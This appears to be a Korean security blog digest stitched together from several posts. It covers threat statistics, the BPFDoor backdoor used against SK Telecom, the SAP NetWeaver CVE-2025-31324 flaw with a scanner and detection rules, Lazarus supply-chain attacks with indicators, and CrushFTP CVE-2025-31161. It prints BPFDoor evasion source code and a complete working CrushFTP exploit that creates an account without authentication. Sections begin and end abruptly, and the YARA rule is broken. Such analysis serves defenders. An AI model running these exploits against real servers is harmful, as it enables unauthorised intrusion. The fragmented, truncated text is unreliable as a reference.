⑤ 2024년 Dark Web forums에서 공유한 개인정보와 계정 정보 1000억 건 이상 - 작년 대비 42% 급증한 것으로 분석
- 포티넷 사이버 공격 대응을 위한 CISO 가이드 > 지속적인 위협 노출 관리로의 전환 > 실제 공격 시뮬레이션 > 보안 취약점 노출 최소화 > 고위험 취약점 우선순위 지정 > 다크 웹 모니터링 강화 등의 전략적 가이드라인 제시 =========================================================================================== - 카스퍼스키, 2025년 1분기 ‘카스퍼스키 보안 보고서’ > 최근 3개월간 대한민국에서 탐지된 인터넷 기반 사이버 위협은 총 3,063,343건 > 웹 기반 위협에 공격받은 사용자 비율은 13.7%로 집계
- 웹 브라우저를 통한 공격 > 악성 프로그램 유포의 주요 수단으로 브라우저 및 플러그인의 취약점을 악용하거나 소셜 엔지니어링을 활용 > 이 경우 사용자가 감염된 웹사이트를 방문하는 것만으로도 자동 감염이 이루어지며, 사용자의 개입이나 인식 없이 악성코드가 실행 > 특히 파일리스 악성코드가 가장 위험_Windows 레지스트리 또는 WMI 구독을 이용하여 지속성을 유지하며, 디스크에 탐지 가능한 개체를 남기지 않기 때문에 정적 분석이 어려움
- 웹 기반 공격의 또 다른 주요 수단인 소셜 엔지니어링방식 > 인간 행동의 취약점을 악용하여 민감한 정보를 훔치거나 계정을 탈취 > 사용자의 생활에 침투해 사용자가 직접 악성 파일을 다운로드하도록 유도하는 방식 > 공격자는 피해자로 하여금 정상적인 프로그램을 다운로드하는 것처럼 믿게 만들어 악성 파일을 실행하도록 유도
> 오늘날 많은 공격자가 정적 분석과 에뮬레이션을 우회하기 위해 악성 코드를 난독화 > 머신러닝 기반 탐지 및 행동 분석과 같은 보다 진보된 기술이 필수적
- 최근 3개월간 대한민국에서 발생한 로컬 위협은 총 1,835,168건, 로컬 위협에 공격받은 사용자 비율은 21.5%로 집계 > 로컬 감염 통계는 사용자 컴퓨터가 얼마나 자주 악성코드에 공격받는지를 나타내는 중요한 지표 > 대부분의 로컬 감염은 웜 및 파일 바이러스에 의해 발생하며, USB 드라이브, CD/DVD, 기타 오프라인 방식으로 전파
> 감염된 개체를 치료할 수 있는 안티바이러스 솔루션, 방화벽 및 루트킷 방지 기능, 이동식 장치 제어 기능 등의 적용이 필요
- 최근 3개월간 대한민국에서 호스팅된 서버에서 발생한 인시던트는 1,595,680건, 전 세계 19위에 해당하는 수치
기타
- 사이버 범죄자들이 AI와 자동화를 사용해 전례 없는 속도와 규모로 공격 활동을 가속화하고 있음 > 조직은 AI, 제로 트러스트 및 지속적인 위협 노출 관리가 뒷받침하는 데이터 기반 선제적 방어 전략으로 전환할 필요 강조
- AI를 활용한 새로운 종류의 위협이 지속적으로 늘어나고 있는 만큼 위협 정보를 적극 활용하고 사이버 인식을 강화함으로써 사이버 면역력을 높이는 것이 중요
- 공격자는 BPFDoor 악성코드를 사용해 SK텔레콤을 해킹해 데이터를 탈취 [1][2][3][4] - BPF(Berkeley Packet Filter) 기술을 악용해 은닉성과 탐지 회피 > BPF란 OS 커널 레벨에서 동작하는 경량화된 VM 기술로, 네트워크 인터페이스를 통해 수신되는 패킷에 대해 커널 공간에서 직접 필터링 > 시스템 성능과 보안성을 향상시킬 수 있으나, 악성코드에 활용될 경우 탐지 회피 및 은닉성 강화 수단으로 사용됨
2. 소스코드
2.1 프로그램 초기화
- 탐지 회피
> 프로세스 이름을 임의로 선택해 백도어를 일반 프로세스로 위장
> 파일 타임스탬프를 2008년으로 위장 등 탐지를 회피하기 위한 과정을 진행
int main(int argc, char *argv[])
{
....
// 위장할 프로세스 명
char *self[] = {
"/sbin/udevd -d",
"/sbin/mingetty /dev/tty7",
"/usr/sbin/console-kit-daemon --no-daemon",
"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
"dbus-daemon --system",
"hald-runner",
"pickup -l -t fifo -u",
"avahi-daemon: chroot helper",
"/sbin/auditd -n",
"/usr/lib/systemd/systemd-journald"
};
// 일종의 뮤텍스
pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
pid_path[21] = 0x00; // /var/run/haldrund.pid
// /var/run/haldrund.pid 파일의 권한 체크
if (access(pid_path, R_OK) == 0) {
exit(0);
}
// 권환 학인
if (getuid() != 0) {
return 0;
}
// /dev/shm/ 경로에 복사 후 즉시 종료
if (argc == 1) {
if (to_open(argv[0], "kdmtmpflush") == 0)
_exit(0);
_exit(-1);
}
....
// 타임스탬프 위조 (2008년)
setup_time(argv[0]);
// 프로세스 명 변경
set_proc_name(argc, argv, cfg.mask);
// 자식 프로세스 생성 후 부모 프로세스 종료
if (fork()) exit(0);
....
// 자식 프로세스 종료 시 sigchild 처리해 좀비 프로세스 방지
signal(SIGCHLD, sig_child);
....
// 중복 실행 방지
close(open(pid_path, O_CREAT|O_WRONLY, 0644));
....
// packet_loop 진입
packet_loop();
return 0;
}
2.2 packet_loop()
- Magic Packet을 포함시켜 패킷을 보내고, BPF를 활용해 받은 패킷들 중에 특정 조건들을 만족하는 패킷들만 통과
> BPFDoor 악성코드 탐지할 수 있는 명령과 스크립트를 포함하나, 실행 전 보안 정책 위반 여부, 시스템 영향 등을 반드시 확인
BPFDoor 악성코드 감염여부 점검 방법
- 악성코드 뮤텍스/락(Mutex/Lock) 파일 점검 - 악성코드 자동 실행 파일 점검 - BPF(Berkeley Packet Filter) 점검 (가이드 內 ‘[붙임1] BPF 점검 스크립트’ 활용) - RAW 소켓 사용 점검 - 프로세스 환경변수 점검 (가이드 內 ‘[붙임2] 환경변수 점검 스크립트’ 활용) - 특정 포트 확인 및 네트워크 장비를 이용한 패킷 점검
BPFDoor 컨트롤러 감염여부 점검 방법
- 실행 중인 프로세스 명 점검
악성 의심 파일에 대한 추가 점검 방법
- 문자열 기반 초동 점검 - YARA Rule 기반 점검 (가이드 內 ‘[붙임3] BPFDoor YARA Rule’ 활용)
- 민관조사단 2차 결과 발표 > 총 23대 서버 감염 및 25종의 악성코드(BPFDoor 24종, 웹쉘 1종) 확인 > 가입자 식별키(IMSI) 기준 2,695만 7,749건, 총 9.82GB의 유심정보가 유출 > 감염 서버 내 임시 저장 파일 중 단말기 식별번호(IEMI)가 포함된 사실 확인 (유출 가능성이 있는 IEMI는 총 29만1831건) > SKT 자체 보안 조치 강화 요청 및 개인정보보호위원회 통보(독자적 사고 분석 진행 중) ※ 과기부는 타 통신사, 주요 기업 대상 보안 점검 및 철저한 대응 권고 ※ 정부 기관은 국정원 주관 점검을 진행 ※ 감염 서버는 HSS 서버와 ICAS 서버(가임자 상태, 가입 정보, 가입 상품 등을 API 형태로 제공하는 서버로, 고객 DB에 직접 접근)가 포함
- SAP NetWeaver : SAP의 애플리케이션 통합 및 실행 플랫폼으로, 다양한 SAP 모듈과 시스템 간 연결을 지원 [1] - SAP NetWeaver Visual Composer : NetWeaver 상에서 동작하는 시각적 UI 개발 도구로, 코드 없이 SAP 비즈니스 앱의 화면을 설계할 수 있음 [2]
2. CVE-2025-31324
[사진 1] CVE-2025-31324 [3]
- Metadata Uploader 컴포넌트에서 접근 제어가 제대로 이루어지지 않아 임의의 파일 업로드가 가능한 취약점 (CVSS: 10.0)
> /developmentserver/metadatauploader 엔드포인트에서 접근 제어가 제대로 이루어지지 않아, 공격자가 인증 없이 JSP 웹셸 파일을 서버에 업로드 가능
> SAP Visual Composer는 기본 설치 항목은 아니지만, 다수의 시스템에서 활성화되어 있음
> 공격자가 JSP 웹쉘을 서버의 퍼블릭 디렉터리에 업로드해 인증 없이 원격 제어하는 등 활발히 악용 중이므로, 긴급 패치 권고
-영향받는 버전 SAP NetWeaver VCFRAMEWORK 7.50
[사진 2] 실제 공격에 악용된 HTTP POST 요청 [4]
2.1 취약점 스캐너
- 보안 기업 Onapsis는 취약점을 확인할 수 있는 스캐너를 제공 [5]
> GitHub에서 스캐너의 최신 버전을 확인한 후 지정한 SAP 서버의 취약점 여부 확인
① 대상 SAP 서버의 /developmentserver/metadatauploader URL로 HEAD 요청 전송
⒜ 200 응답과 Set-Cookie 헤더가 없는 경우 취약
⒝ 404 응답 또는 다른 응답의 경우 취약하지 않음
② 사전 정의된 웹쉘 목록(KNOWN_WEBSHELLS)과 경로(/irj)를 대상으로 업로드된 웹쉘 확인
⒜ 200 응답일 경우 웹쉘 존재
※ 사전 정의된 웹쉘 목록과 특정 경로만을 대상으로 스캔을 수행하므로 정의되지 않은 웹쉘명과 경로에대한 검증은 불가
import requests
import argparse
import json
from packaging.version import parse as parse_version
__version__ = "1.0.2"
KNOWN_WEBSHELLS = ["cache.jsp", "helper.jsp"]
GITHUB_REPO = (
"Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools"
)
def check_cve_2025_31324(hostname, port, use_ssl):
protocol = "https" if use_ssl else "http"
url = f"{protocol}://{hostname}:{port}/developmentserver/metadatauploader"
try:
response = requests.head(url, timeout=10, verify=False)
status_code = response.status_code
if status_code == 200 and 'Set-Cookie' not in response.headers:
print(
f"[CRITICAL] SAP System at {url} appears to be vulnerable to "
"CVE-2025-31324."
)
elif status_code == 404:
print(
f"[INFO] Visual Composer SAP System at {url} appears to not "
"be installed or unavailable."
)
else:
print(
f"[INFO] The SAP system at {url} does not appear to be "
"vulnerable to CVE-2025-31324."
)
except requests.exceptions.RequestException as e:
print(f"Error connecting to {url} for vulnerability testing: {e}")
def test_webshell(hostname, port, use_ssl):
webshell_found = False
for webshell_filename in KNOWN_WEBSHELLS:
protocol = "https" if use_ssl else "http"
url = f"{protocol}://{hostname}:{port}/irj/{webshell_filename}"
try:
response = requests.get(url, timeout=10, verify=False)
if response.status_code == 200:
print(f"[CRITICAL] Known webshell found at: {url}")
webshell_found = True
except requests.exceptions.RequestException as e:
print(
f"[ERROR] Error connecting to {url} for webshell testing: {e}"
)
if not webshell_found:
print("[INFO] No known webshells found.")
def check_for_updates():
try:
url = f"https://api.github.com/repos/{GITHUB_REPO}/releases/latest"
response = requests.get(url)
response.raise_for_status()
release_info = response.json()
latest_version = release_info.get("tag_name")
if latest_version:
latest_version = latest_version.lstrip("v")
current_version = parse_version(__version__)
latest_parsed_version = parse_version(latest_version)
if latest_parsed_version > current_version:
print(f"[WARNING] There is a newer version, {latest_version}.")
print(f"You are currently using version {__version__}.")
else:
print("Could not retrieve the latest release information.")
except requests.exceptions.RequestException as e:
print(f"Error checking for updates: {e}")
except json.JSONDecodeError:
print("Error decoding release information.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=(
"Onapsis Scanner for Vulnerability CVE-2025-31324 (SAP Security "
"3594142) - CVSS 10 (Critical). This tool checks for the presence "
"of the vulnerability and known webshells in the SAP system. \n\n"
"DISCLAIMER: This tool is provided from Onapsis via open source "
"license Apache 2.0, as a contribution to the security, incident "
"response, and SAP communities to aid in response to active "
"exploitation of CVE-2025-31324. This tool is under development "
"and will continue to iterate rapidly as more information becomes "
"available either from Onapsis Research Labs or publicly. "
"This is a best-effort development and offered as-is with no "
"warranty or liability."
)
)
parser.add_argument(
"hostname",
help=(
"Hostname or IP address of the SAP system."
)
)
parser.add_argument(
"port",
type=int,
help="Port number of the SAP system (i.e. 50000)."
)
parser.add_argument(
"--ssl",
action="store_true",
help="Use SSL/TLS for the connection."
)
args = parser.parse_args()
check_for_updates()
check_cve_2025_31324(args.hostname, args.port, args.ssl)
test_webshell(args.hostname, args.port, args.ssl)
3. 대응방안
- 벤더사 제공 업데이트 적용 [6][7][8]
제품명
영향받는 버전
해결 버전
SAP NetWeaver
VCFRAMEWORK 7.50
별도 보안 패치 제공 [6][7][8]
- 침해 여부 확인 방법 [9]
> 다음 OS 디렉토리의 루트에 'jsp', 'java', 'class' 파일 존재 여부 확인
① C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\root ② C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work ③ C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work\sync
[YARA] rule detect_CVE202531324_webshells_by_name { meta: description = “Detects the known webshell file names that are uploaded in the root directory” author = “Emanuela Ionas, Onapsis Research Labs” date = “2025-04-30” tags = “CVE-2025-31324” strings: $path_1 = “/irj/root/” $path_2 = “/irj/”
$status = “HTTP/[1,2]\.[0,1,2] 200” condition: ($webshell_1 or $webshell_2 or $webshell_4) and ($path_1 or $path_2) and $status }
[SNORT] alert tcp any any -> any any (msg:"CVE-2025-31324";flow:to_server,established;content:"POST";content:"/developmentserver/metadatauploader";content:"multipart/form-data";content:"filename="; content:".jsp";nocase;)
- 북한 해킹그룹 라자루스가 Innorix Agent 제로데이 취약점을 악용해 국내 공급망 공격 (Operation SyncHole) 시도 [1][2]
- 워터링 홀과 서드파티 소프트웨어의 취약점을 결합해 국내 소프트웨어, IT, 금융, 반도체 제조, 통신 산업 등에 공격 시도
- 공격에 악용된 취약점들은 한국인터넷진흥원(KrCERT)과 개발사에 알려져 패치된 상태
2. 주요내용
2.1 초기 벡터
- 한국의 주요 언론 포털 웹사이트를 침해해 서버 측 스크립트 삽입 및 악성 도메인으로 리다이렉션
> 워터링 홀(Watering Hole) 공격으로 사용자를 악성 도메인으로 리다이렉션
- Cross EX 배포사를 위장한 피싱 사이트에는 악성 자바스크립트가 삽입돼 있었으며, 이를 통해Cross EX의 취약점을 악용 및 악성코드 설치
> 삽입된 스크립트는 정상적인 SyncHost.exe를 실행하고 해당 프로세스에 ThreatNeedle 변종을 로드하는 셸코드 삽입
[사진 1] 피싱 사이트(좌) 및 Cross EX 악용 과정 요약(우)
- 워터링 홀(Watering Hole) 공격 > 공격 대상이 자주 방문하는 홈페이지를 사전에 침해한 후 공격 대상이 접속하면 공격을 시작
- Cross EX > 금융이나 정부 웹사이트에서는 특정 보안 소프트웨어 설치가 필요 > 보안 소프트웨어는 브라우저와 상호 작용하기 위해 끊임없이 백그라운드에서 실행됨 > Cross EX는 다양한 브라우저 환경에서 이러한 보안 소프트웨어를 사용할 수 있도록 설계되었으며, 설치 직후를 제외하고는 사용자 권한으로 실행 > Cross EX가 악성코드 유포를 위해 악용된 정확한 방법은 파악되지 않았으나, 권한 상승을 달성한 것으로 추정
- ThreatNeedle [3] > 라자루스가 2019년부터 암호화폐, 국방, 모바일 게임 기업을 공격하는 데 사용한 백도어
2.2 실행 흐름
- 총 4개의 서로 다른 악성코드 실행 체인 확인
[사진 2] 실행 흐름
단계
설명
1단계 악성코드
① ThreatNeedle 변형 - 로더 버전과 코어 버전으로 구성 ⒜ 로더 버전 : 2개의 구성 파일만 참조하고 4개의 명령어만 구현 ⒝ 코어 버전 : 총 5개의 구성 파일(C_27098.NLS ~ C_27102.NLS)을 검색하며 총 37개의 명령어 포함 > 코어 버전은 C2로부터 특정 명령을 받아 지속성을 위해 추가 로더 파일을 생성
- Curve25519 알고리즘을 기반으로 임의의 키 쌍 생성 > 공개 키를 C2 서버로 전송한 후 공격자의 공개 키 수신 > 두 개의 키를 활용해 공유 키 생성 및 ChaCha20 알고리즘의 키로 사용해 암호화 > 데이터는 JSON 형식으로 송수신
② LPEClient - 피해자 프로파일링(정보) 및 페이로드 전달에 사용되는 도구 [4]
③ wAgent 변형 - 접속에 성공한 C2 서버에 따라 form-data 또는 JSON 형식으로 데이터를 수신할 수 있음 > C2 통신 시, HTTP 요청 메세지의 Cookie 헤더에 '__Host-next-auth-token'를 포함 ※ RSA 암호 연산을 수행하기 위해 GNU Multiple-Precision (GMP) 라이브러리를 사용 ※ C++의 STL map을 사용하여 페이로드 관리 ※ C2에서 추가 페이로드를 수신하여 메모리에 직접 로드하고 공유 객체 생성 ※ 공유 객체를 통해 메인 모듈은 제공된 플러그인과 명령 매개변수 및 실행 결과 교환
④ Agamemnon Downloader 변형 - C2로부터 명령을 수신하고 ';;'를 구분자로하여 명령과 매개변수 분석 및 페이로드 실행 > 두 가지 명령 실행 방법 ⒜ 멀웨어에서 일반적으로 사용되는 반사적 페이로드 로드 ⒝ 오픈 소스 Tartarus-TpAllocInject 기술을 활용 ※ 백신 및 EDR 솔루션 등을 우회하도록 설계되었지만, 페이로드 로드 방식은 각각 다름
⑤ Innorix Agent 악용 - 측면 이동(lateral movement)에 사용 > 악성코드는 Agamemnon Downloader를 통해 다운로드되어 Innorix Agent의 특정 버전을 악용해 추가 악성코드 설치 > Agamemnon Downloader부터 대상 IP, 파일 다운로드 URL, 파일 크기 등의 매개변수를 수신 ⒜ 대상 IP에 Innorix Agent 설치 여부 확인 ⒝ 실행 중일 경우 URL에서 합법적인 AppVShNotify.exe 파일과 악성 USERENV.dll 파일 다운 ⒞ DLL 사이드로딩을 통해 USERENV.dll 실행하여 감염 ※ Innorix Agent : 파일 송수신 프로그램
2단계 악성코드
① SIGNBT - 0.0.1버전과 1.2버전 활용 > 0.0.1버전 ⒜ SyncHost.exe에서 메모리에 실행되어 추가 멀웨어(자격 증명 덤프 도구)를 가져온 초기 임플란트 ⒝ C2 서버가 하드코딩되어 있음 > 1.2버전 ⒜ 리소스에서 구성 파일 경로를 가져오고 해당 파일을 검색해 C2 서버 주소 획득 ⒝ 두 개의 구성 파일 경로 확인 경로 1 : C:\ProgramData\Samsung\SamsungSettings\settings.dat 경로 2 : C:\ProgramData\Microsoft\DRM\Server\drm.ver ⒞ C2 서버로부터 RSA 공개 키를 수신하고, 해당 키로 무작위로 생성된 AES 키를 암호화 ⒟ 모든 트래픽은 AES 키로 암호화
② COPPERHEDGE - 내부 정찰(Internal Reconnaissance)에 사용 > 각 요청마다 3개 또는 4개의 매개변수를 C2서버로 HTTP 트래픽으로 전송 ⒜ 첫 번째 HTTP 매개변수 이름: bih, aqs, org ⒝ 두 번째 HTTP 매개변수 이름: wib, rlz, uid ⒞ 세 번째 HTTP 매개변수 이름: tib, hash, lang ⒟ 네 번째 HTTP 매개변수 이름: ei, ie, oq
2.3 결론
- 최근 라자루스가 사용하는 악성코드는 경량화 및 모듈화를 포함해 빠르게 발전
> 새로 추가된 도구뿐만 아니라 과거에 사용되었던 악성코드 또한 변경되었으며, 앞으로 더 많은 변화가 예상됨
- 북한의 국내 대상 공급망 공격은 지속될 것
> 국내 많은 소프트웨어 개발 업체들이 이미 공격을 받았고, 공격자들 또한 악성코드를 개발하거나 개량하여 탐지를 회피하는데 노력 중
> 특히 C2 통신, 명령 수조, 데이터 송수신 방식 개선
- 이번 공격은 사전 탐지와 조기 분석의 중요성을 잘 보여준 사례
> 악성코드 행위 분석 과정에서 알려지지 않은 제로데이 취약점이 사전 탐지되어 추가 피해를 예방할 수 있었음
- 공격에 악용된 Innorix Agent 및 Cross EX의 취약점은 패치된 상태 [5][6]
- 관련 침해지표
구분
설명
파일
- Variant of the ThreatNeedle loader > MD5 : f1bcb4c5aa35220757d09fc5feea193b > 경로 : C:\System32\PCAuditex.dll
- Variant of the wAgent loader > MD5 : dc0e17879d66ea9409cdf679bfea388c > 경로 : C:\ProgramData\intel\util.dat
※ 코드 문맥 상 anyPass는 로그인을 시도하는 계정에 대해 서버가 임의의 비밀번호를 받아들여야 하는지 여부를 결정하는 변수로 판단됨 (비밀번호가 아직 설정되지 않았거나, 비밀번호가 필요하지 않은 사용자인 경우 등)
// Inside SessionCrush.java
public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
// Various validations and logging happen here
if (user_name.length() <= 2000) {
int length = user_pass.length();
ServerStatus serverStatus = ServerStatus.thisObj;
if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) {
Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name));
uiPUT("last_logged_command", "USER");
// Numerous other checks and validations
// Eventually we call verify_user with the anyPass parameter
boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin);
if (verified && this.user != null) {
// Authentication success handling
return true;
}
}
}
return false;
}
- verify_user()는 anyPass 매개변수를 사용해 UserTools.ut.verify_user() 호출
// Inside SessionCrush.java
public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
// Various user validation and formatting logic
// The anyPass value is passed to the UserTools.ut.verify_user method
this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass,
uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"),
uiIG("user_port"), this.server_item, loginReason, anyPass);
// The critical check: if anyPass is true, we don't consider a null user to be an authentication failure
if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) {
this.user_info.put("plugin_user_auth_info", "Password incorrect.");
}
// Various other checks and return logic
return this.user != null;
}
- UserTools.ut.verify_user()에서 anyPass=True이고, 특정 username인 경우 인증을 우회하여 로그인 가능
// Inside UserTools.java
public Properties verify_user(
ServerStatus server_status_frame,
String the_user,
String the_password,
String serverGroup,
SessionCrush thisSession,
int user_number,
String user_ip,
int user_port,
Properties server_item,
Properties loginReason,
boolean anyPass
) {
// User lookup and validation logic
Properties user = this.getUser(serverGroup, the_user, true);
// Here's the critical vulnerability:
// If anyPass is true, password verification is skipped entirely
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // Authentication succeeds without any password check
}
// Otherwise normal password verification occurs
if (user.getProperty("username").equalsIgnoreCase(the_user) &&
check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) {
return user;
}
// Authentication fails
return null;
}
- 공격자는 다음과 같은 요청을 통해 인증 우회 가능
① 경로: &c2f={} // 쿠키 헤더값과 동일하게 구성
② Cookie헤더: CrushAuth키 값을 {13자리랜덤숫자}{30자리_랜덤값}{c2f} 구성
③ Authorization 헤더: AWS4-HMAC-SHA256 Credentail={username}/
[사진 2] 과정 요약[사진 3] 공격 예시
3. PoC [5]
# Copyright (C) 2025 Kev Breen,Ben McCarthy Immersive
# https://github.com/Immersive-Labs-Sec/CVE-2025-31161
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import requests
from argparse import ArgumentParser
def exploit(target_host, port, target_user, new_user, password):
print("[+] Preparing Payloads")
# First request details
warm_up_url = f"http://{target_host}:{port}/WebInterface/function/"
create_user_url = f"http://{target_host}:{port}/WebInterface/function/"
headers = {
"Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
"Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
"Connection": "close",
}
payload = {
"command": "setUserItem",
"data_action": "replace",
"serverGroup": "MainUsers",
"username": new_user,
"user": f'<?xml version="1.0" encoding="UTF-8"?><user type="properties"><user_name>{new_user}</user_name><password>{password}</password><extra_vfs type="vector"></extra_vfs><version>1.0</version><root_dir>/</root_dir><userVersion>6</userVersion><max_logins>0</max_logins><site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><created_by_username>{target_user}</created_by_username><created_by_email></created_by_email><created_time>1744120753370</created_time><password_history></password_history></user>',
"xmlItem": "user",
"vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
"permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item></VFS>',
"c2f": "31If"
}
# Execute requests sequentially
print(" [-] Warming up the target")
# we jsut fire a request and let it time out.
try:
warm_up_request = requests.get(warm_up_url, headers=headers, timeout=20)
if warm_up_request.status_code == 200:
print(" [-] Target is up and running")
except requests.exceptions.ConnectionError:
print(" [-] Request timed out, continuing with exploit")
print("[+] Sending Account Create Request")
create_user_request = requests.post(create_user_url, headers=headers, data=payload)
if create_user_request.status_code != 200:
print(" [-] Failed to send request")
print(" [+] Status code:", create_user_request.status_code)
if '<response_status>OK</response_status>' in create_user_request.text:
print(" [!] User created successfully")
if __name__ == "__main__":
parser = ArgumentParser(description="Exploit CVE-2025-31161 to create a new account")
parser.add_argument("--target_host", help="Target host")
parser.add_argument("--port", type=int, help="Target port", default=8080)
parser.add_argument("--target_user", help="Target user", default="crushadmin")
parser.add_argument("--new_user", help="New user to create", default="AuthBypassAccount")
parser.add_argument("--password", help="Password for the new user", default="CorrectHorseBatteryStaple")
args = parser.parse_args()
if not args.target_host:
print(" [-] Target host not specified")
parser.print_help()
exit(1)
exploit(
target_host=args.target_host,
port=args.port,
target_user=args.target_user,
new_user=args.new_user,
password=args.password
)
print(f"[+] Exploit Complete you can now login with\n [*] Username: {args.new_user}\n [*] Password: {args.password}.")
4. 대응방안
- 벤더사 제공 업데이트 적용 [6][7]
> lookup_password 기능 비활성화 > Authorization 헤더 내 Credential 키 값 구성 검증 > 인증 로직 변경